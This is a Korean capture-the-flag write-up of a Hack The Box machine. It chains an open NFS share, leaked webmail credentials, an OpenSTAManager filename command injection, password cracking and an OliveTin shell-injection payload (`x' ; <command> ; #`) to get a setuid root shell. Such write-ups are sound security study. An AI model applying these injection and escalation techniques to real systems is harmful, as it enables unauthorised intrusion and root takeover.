Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-30 19:51 +0900
Nmap scan report for 10.129.15.52
Host is up (0.34s latency).
Not shown: 65142 closed tcp ports (reset), 380 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
110/tcp open pop3
111/tcp open rpcbind
143/tcp open imap
993/tcp open imaps
995/tcp open pop3s
2049/tcp open nfs
40347/tcp open unknown
41755/tcp open unknown
46303/tcp open unknown
54029/tcp open unknown
55137/tcp open unknown
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://enigma.htb/
110/tcp open pop3 Dovecot pop3d
111/tcp open rpcbind 2-4 (RPC #100000)
143/tcp open imap Dovecot imapd (Ubuntu)
993/tcp open ssl/imap Dovecot imapd (Ubuntu)
995/tcp open ssl/pop3 Dovecot pop3d
2049/tcp open nfs_acl 3 (RPC #100227)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
2. VHost 퍼징
80이 열려 있길래 브라우저로 들어가봤는데 페이지가 안 떴다. http-title이 enigma.htb로 리다이렉트된다고 알려줘서, 먼저 호스트명을 /etc/hosts에 등록해야 접속이 됐다.
$ echo '10.129.15.52 enigma.htb' | sudo tee -a /etc/hosts
퍼징에서 메일 서버 mail001.enigma.htb가 나왔다. 이 호스트도 /etc/hosts에 넣으니 접속됐다.
$ echo '10.129.15.52 mail001.enigma.htb' | sudo tee -a /etc/hosts
퍼징으로 찾은 mail001.enigma.htb의 Roundcube 웹메일
초기 침투 — 자격증명 추적
1. NFS export에서 신입 계정 정보 확보
메일 서버는 열었는데 로그인할 계정이 없었다. 이때 가진 단서라곤 nmap 포트 목록뿐이었다.
[막힌 곳 — rpcbind+NFS 익스플로잇 오판] 포트를 다시 훑다 111번 rpcbind가 보였다. "rpcbind + NFS 조합이면 SSH 비밀번호 없이 뚫린다"는 글을 보고 그 경로를 그대로 따라가 봤는데, 이 머신은 그런 구조가 아니었다.
결국 rpcbind가 아니라 그 옆의 NFS(2049) export 자체가 답이었다. export를 확인하니 /srv/nfs/onboarding이 *로 아무나 마운트할 수 있게 열려 있었다.
$ showmount -e 10.129.15.52
Export list for 10.129.15.52:
/srv/nfs/onboarding *
마운트했더니 New_Employee_Access.pdf 하나가 들어 있었다.
$ mkdir -p /tmp/onboarding
$ sudo mount -t nfs 10.129.15.52:/srv/nfs/onboarding /tmp/onboarding
$ ls -la /tmp/onboarding
합계 8
drwxr-xr-x 2 root root 4096 2월 20일 .
drwxrwxrwt 15 root root 400 8월 30일 20:24 ..
-rw-r--r-- 1 root root 1751 2월 20일 New_Employee_Access.pdf
파일을 열어보니 웹메일 주소랑 신입 계정 정보가 그대로 적혀 있었다.
$ cat New_Employee_Access.pdf
Enigma Corp
IT Department - New Employee System Access
Employee: Kevin Mitchell
Department: Operations
Provisioned by: IT Department
Date: 2024-03-01
Webmail Access
URL: http://mail001.enigma.htb
Username: kevin
Password: Enigma2024!
Please change your password upon first login.
For support contact: it@enigma.htb
This document contains confidential internal information intended solely for the recipient.
Unauthorized access, disclosure, or distribution is strictly prohibited.
Generated automatically by Enigma Corp Identity Management System.
kevin 계정을 손에 넣었으니, 웹메일보다 셸이 빠를까 싶었다.
[막힌 곳 — SSH부터 찔러봄] kevin 계정으로 22번 SSH에 붙었지만 서버가 비밀번호를 아예 받지 않고 키 인증만 걸려 있었다. kevin의 개인키는 없으니 여기서 막혔고, 남은 길은 문서에 적힌 웹메일이었다.
2. 웹메일 로그인과 계정 피벗
kevin / Enigma2024!로 mail001.enigma.htb의 Roundcube 웹메일에 로그인했다. 받은편지함엔 Sarah가 Kevin한테 보낸 "Welcome to Enigma Corp, Kevin!" 메일이 있었다.
kevin 계정으로 로그인한 Roundcube 웹메일 받은편지함 — Sarah의 환영 메일
[막힌 곳] Kevin 메일함까지는 들어갔는데 다음이 안 보였다. 한참 헤매다 "메일 잘 보라"던 말이 떠올라 Sarah 계정을 찔러봤다. 처음엔 안 돼서 아닌가 했는데, 알고 보니 아이디를 sarah@enigma로 넣은 게 문제였다. sarah로만 바꾸니 바로 들어갔다.
Sarah 메일함엔 "Re: OpenSTAManager Access Request" 메일이 있었고, 여기서 support_001.enigma.htb의 admin 계정(admin / Ne3s4rtars78s)이 나왔다.
웹메일에서 흘러나온 admin 계정으로 로그인해 보니 대상은 OpenSTAManager 2.9.8이었다. 이 버전은 P7M(서명된 XML) 파일을 처리할 때 OS 커맨드 인젝션이 되는 (GHSA-25fp-8w8p-mx36)에 취약하다.
문제 지점은 src/Util/XML.php의 decodeP7M() 함수다. .p7m은 PKCS#7 서명 데이터라 서버가 이를 검증·복호화하려고 외부 명령을 호출하는데, 이때 업로드된 파일명을 셸 문자열에 그대로 이어붙인 게 화근이다.
파일명은 공격자가 ZIP 엔트리로 넣은 값이라 ;·$(...) 같은 셸 메타문자가 검증 없이 exec() 싱크까지 도달한다. 전형적인 CWE-78(OS 커맨드 인젝션) 패턴이다. 실제 패치도 파일명에 escapeshellarg와 문자 화이트리스트를 씌우는 방향이었다(참고 자료).
OpenSTAManager 버전이 2.9.8임을 확인한 관리 화면CVE-2025-69212 GitHub Advisory의 decodeP7M exec 싱크
익스플로잇 실행과 User Flag
GHSA에 적힌 원본 PoC(따옴표 탈출 방식)는 그대로는 잘 안 먹었다. cd 상대경로를 가정한다든지, 모듈·플러그인을 자동으로 찾는다든지, 실패 지점이 여기저기 있었다. 대신 base32로 인코딩한 명령을 $(...) 커맨드 서브스티튜션으로 실행하는 공개 PoC를 썼다. 이 방식은 따옴표 구조를 정확히 몰라도 되고, ZIP 엔트리명에 슬래시가 없어서 압축 풀 때 경로가 쪼개지는 문제도 안 생긴다. 게다가 $(...)는 파일명이 exec() 싱크에 닿는 순간에야 디코딩·실행되니, 업로드 시점의 정적인 파일명 검사를 그냥 통과한다.
$ john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X2])
$ john --show /tmp/hash.txt
haris:bestfriends
$ su haris
Password: bestfriends
haris@enigma:/var/www/html/openstamanager$ id
uid=1000(haris) gid=1000(haris) groups=1000(haris),100(users)
haris@enigma:/home$ cd haris
haris@enigma:~$ ls
mail user.txt
haris@enigma:~$ cat user.txt
ff92026b************************
OliveTin은 미리 정의해둔 셸 명령을 웹 UI·API로 실행해주는 로컬 관리 도구다. /etc/OliveTin/config.yaml을 읽어보니 문제가 두 개 겹쳐 있었다. 게스트 인증이 꺼져 있고(authRequireGuestsToLogin: false), "Backup Database" 액션이 password 타입 인자를 검증도 안 하고 셸 문자열에 그대로 이어붙인다.
Backup Database 액션의 셸은 mysqldump -u {{ db_user }} -p'{{ db_pass }}' ...처럼 인자를 문자열에 그대로 끼워 넣는다. 그래서 db_pass에 x' ; <명령> ; #를 주면 -p'x'로 작은따옴표를 닫고 ;로 새 명령을 잇고 #로 뒤를 주석 처리해 임의 명령을 실행시킬 수 있다. 앞서 본 대로 게스트 인증이 꺼져 있어 이 호출은 인증 없이도 닿고, OliveTin 프로세스가 root라 끼워 넣은 명령도 그대로 root로 돈다. root를 굳히는 길은 몇 갈래가 있지만, 여기선 실제로 실행한 setuid bash 방법만 정리한다.
haris@enigma:~$ ls -al /tmp/.bs
-rwsr-xr-x 1 root root 1446024 Sep 1 11:11 /tmp/.bs
haris@enigma:~$ /tmp/.bs -p
.bs-5.2# id
uid=1000(haris) gid=1000(haris) euid=0(root) groups=1000(haris),100(users)
.bs-5.2# cd /root
.bs-5.2# ls
root.txt
.bs-5.2# cat root.txt
64007098************************
회고
공개 PoC라도 advisory 예시 그대로는 안 될 수 있다. exec() 싱크 근처에서 인자가 실제로 어떻게 넘어가는지(따옴표가 붙는지, 상대경로를 가정하는지)를 코드로 직접 확인하는 게 결국 제일 빨랐다. 그리고 gRPC·ConnectRPC 기반 API는 메서드명 하나만 틀려도 그냥 404로 조용히 실패한다 — 이거 때문에 한참 헤맸다.
웹 UI 눌러보기 전에 취약점 소스(GitHub 저장소)를 diff·커밋 로그까지 훑어서 지금 패치 상태랑 정확한 익스플로잇 조건을 코드로 먼저 잡고 갔으면 더 빨랐을 것 같다.
참고 자료
GHSA-25fp-8w8p-mx36 / — OpenSTAManager OS Command Injection advisory
devcode-it/openstamanager — src/Util/XML.php, decodeP7M() 수정 커밋 (escapeshellarg + 문자 화이트리스트 적용)
OliveTin 공식 문서 — Actions, Security(Local Auth / ACL) 설정 가이드
안내 및 법적 고지
AI 활용 안내
이 글은 AI(Claude)의 도움을 받아 작성되었습니다.
본문의 명령·출력·화면은 직접 수행한 결과이며, AI는 노트 정리와 글 구성을 도왔습니다.
면책 조항
본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다.
언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라
처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.
승인된 연습 환경 안내
본 라이트업은 Hack The Box의 승인된 연습 환경에서 직접 수행한 기록입니다.
서술된 명령·기법은 이 승인된 환경에 한정되며, 소유하지 않은 실제 시스템에 시도하는 행위는 위법입니다.